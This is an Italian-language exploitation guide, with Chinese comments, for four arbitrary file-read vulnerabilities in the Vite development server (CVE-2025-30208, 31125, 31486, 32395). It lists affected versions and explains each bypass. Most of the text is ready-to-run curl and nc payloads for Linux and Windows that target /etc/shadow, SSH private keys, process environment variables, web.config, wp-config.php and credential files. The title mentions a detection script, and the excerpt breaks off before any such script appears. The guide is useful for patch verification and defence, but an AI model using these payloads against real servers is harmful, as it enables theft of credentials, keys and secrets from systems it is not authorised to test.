
Guida allo sfruttamento e script di rilevamento automatico per quattro vulnerabilità di lettura file arbitraria del server di sviluppo Vite (CVE-2025-30208/31125/31486/32395) con esempi Linux e Windows.
Questo documento riassume i metodi di sfruttamento di quattro vulnerabilità di lettura arbitraria di file nel server di sviluppo di Vite, inclusi esempi per sistemi Linux e Windows. Nota: utilizzare solo in ambienti di test di sicurezza autorizzati.
Le quattro vulnerabilità nel server di sviluppo di Vite consentono tutte a un aggressore di aggirare la restrizione server.fs.deny e leggere file arbitrari sul server. Ogni vulnerabilità utilizza una tecnica di bypass diversa, ma il principio di base è simile.
Tutte e quattro le vulnerabilità richiedono che siano soddisfatte le seguenti condizioni per essere sfruttate:
--host o server.host)Versioni interessate: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Versioni corrette: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
Principio di sfruttamento: aggiungendo parametri di query ?raw?? o ?import&raw?? all'URL, si aggira la restrizione del percorso @fs. Questo perché i separatori finali (come ?) vengono rimossi in più punti, ma non vengono considerati nell'espressione regolare della query string.
Esempio di sfruttamento su Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**Esempio di sfruttamento su Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
Versioni interessate: stesse di CVE-2025-30208
Versioni corrette: stesse di CVE-2025-30208
Principio di sfruttamento: utilizzando metodi di importazione specifici, come ?inline&import o ?raw?import, si aggira la configurazione server.fs.deny.
Esempio di sfruttamento su Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**Esempio di exploit su Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
Versioni interessate: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
Versioni corrette: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
Principio di sfruttamento:
?.svg?.wasm?init o utilizzando l'header sec-fetch-dest: script, si aggira il controllo sulle restrizioni per i file .svg../../) per aggirare le restrizioniEsempio di sfruttamento su sistemi Linux:```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**Esempio di sfruttamento su Windows**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
Nota: l'aggiramento SVG è efficace solo se il file è più piccolo di build.assetsInlineLimit (default 4kB) e si utilizza Vite 6.0+.
Versioni interessate: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
Versioni corrette: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
Principio di sfruttamento: sfrutta la caratteristica della specifica HTTP/1.1 che non consente l'uso del carattere # nel request-target. Nei runtime Node e Bun, queste richieste non vengono rifiutate internamente, http.IncomingMessage.url contiene #, e Vite assume che req.url non contenga # quando controlla server.fs.deny.
Esempio di sfruttamento su sistemi Linux:```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173